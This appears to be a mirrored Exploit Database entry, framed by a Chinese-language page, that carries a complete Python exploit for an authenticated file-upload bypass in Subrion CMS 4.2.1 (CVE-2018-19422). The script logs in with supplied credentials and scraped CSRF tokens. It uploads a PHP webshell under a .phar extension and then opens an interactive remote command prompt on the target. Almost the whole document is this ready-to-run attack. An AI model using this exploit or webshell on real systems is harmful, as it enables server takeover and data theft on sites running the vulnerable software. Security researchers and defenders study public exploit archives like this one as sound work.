Subrion CMS 4.2.1 – Arbitrary File Upload

• Exploit Database
• 17 阅读

• 作者： Fellipe Oliveira
  日期： 2021-05-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49876/

• # Exploit Title: Subrion CMS 4.2.1 - File Upload Bypass to RCE (Authenticated)
  # Date: 17/05/2021
  # Exploit Author: Fellipe Oliveira
  # Vendor Homepage: https://subrion.org/
  # Software Link: https://github.com/intelliants/subrion
  # Version: SubrionCMS 4.2.1
  # Tested on: Debian9, Debian 10 and Ubuntu 16.04
  # CVE: CVE-2018-19422
  # Exploit Requirements: BeautifulSoup library
  # https://github.com/intelliants/subrion/issues/801
  
  #!/usr/bin/python3
  
  import requests
  import time
  import optparse
  import random
  import string
  from bs4 import BeautifulSoup
  
  parser = optparse.OptionParser()
  parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri http://target/panel")
  parser.add_option('-l', '--user', action="store", dest="user", help="User credential to login")
  parser.add_option('-p', '--passw', action="store", dest="passw", help="Password credential to login")
  
  options, args = parser.parse_args()
  
  if not options.url:
  print('[+] Specify an url target')
  print('[+] Example usage: exploit.py -u http://target-uri/panel')
  print('[+] Example help usage: exploit.py -h')
  exit()
  
  url_login = options.url
  url_upload = options.url + 'uploads/read.json'
  url_shell = options.url + 'uploads/'
  username = options.user
  password = options.passw
  
  session = requests.Session()
  
  def login():
  global csrfToken
  print('[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 \n')
  print('[+] Trying to connect to: ' + url_login)
  try:
  get_token_request = session.get(url_login)
  soup = BeautifulSoup(get_token_request.text, 'html.parser')
  csrfToken = soup.find('input',attrs = {'name':'__st'})['value']
  print('[+] Success!')
  time.sleep(1)
  
  if csrfToken:
  print(f"[+] Got CSRF token: {csrfToken}")
  print("[+] Trying to log in...") 
  
  auth_url = url_login
  auth_cookies = {"loader": "loaded"}
  auth_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.1.20", "Connection": "close", "Referer": "http://192.168.1.20/panel/", "Upgrade-Insecure-Requests": "1"}
  auth_data = {"__st": csrfToken, "username": username, "password": password}
  auth = session.post(auth_url, headers=auth_headers, cookies=auth_cookies, data=auth_data)
  
  if len(auth.text) <= 7000:
  print('\n[x] Login failed... Check credentials')
  exit()
  else:
  print('[+] Login Successful!\n')
  else:
  print('[x] Failed to got CSRF token')
  exit()
  
  except requests.exceptions.ConnectionError as err:
  print('\n[x] Failed to Connect in: '+url_login+' ')
  print('[x] This host seems to be Down')
  exit()
  
  return csrfToken
  
  def name_rnd():
  global shell_name 
  print('[+] Generating random name for Webshell...')
  shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))
  time.sleep(1)
  print('[+] Generated webshell name: '+shell_name+'\n')
  
  return shell_name
  
  def shell_upload():
  print('[+] Trying to Upload Webshell..')
  try:
  up_url = url_upload
  up_cookies = {"INTELLI_06c8042c3d": "15ajqmku31n5e893djc8k8g7a0", "loader": "loaded"}
  up_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------6159367931540763043609390275", "Origin": "http://192.168.1.20", "Connection": "close", "Referer": "http://192.168.1.20/panel/uploads/"}
  up_data = "-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n17978446266285\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"__st\"\r\n\r\n"+csrfToken+"\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\""+shell_name+".phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php system($_GET['cmd']); ?>\n\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n1621210391\r\n-----------------------------6159367931540763043609390275--\r\n"
  session.post(up_url, headers=up_headers, cookies=up_cookies, data=up_data)
  
  except requests.exceptions.HTTPError as conn:
  print('[x] Failed to Upload Webshell in: '+url_upload+' ')
  exit()
  
  def code_exec():
  try:
  url_clean = url_shell.replace('/panel', '')
  req = session.get(url_clean + shell_name + '.phar?cmd=id')
  
  if req.status_code == 200:
  print('[+] Upload Success... Webshell path: ' + url_shell + shell_name + '.phar \n')
  while True:
  cmd = input('$ ')
  x = session.get(url_clean + shell_name + '.phar?cmd='+cmd+'')
  print(x.text)
  else:
  print('\n[x] Webshell not found... upload seems to have failed')
  except:
  print('\n[x] Failed to execute PHP code...')
  
  login()
  name_rnd()
  shell_upload()
  code_exec()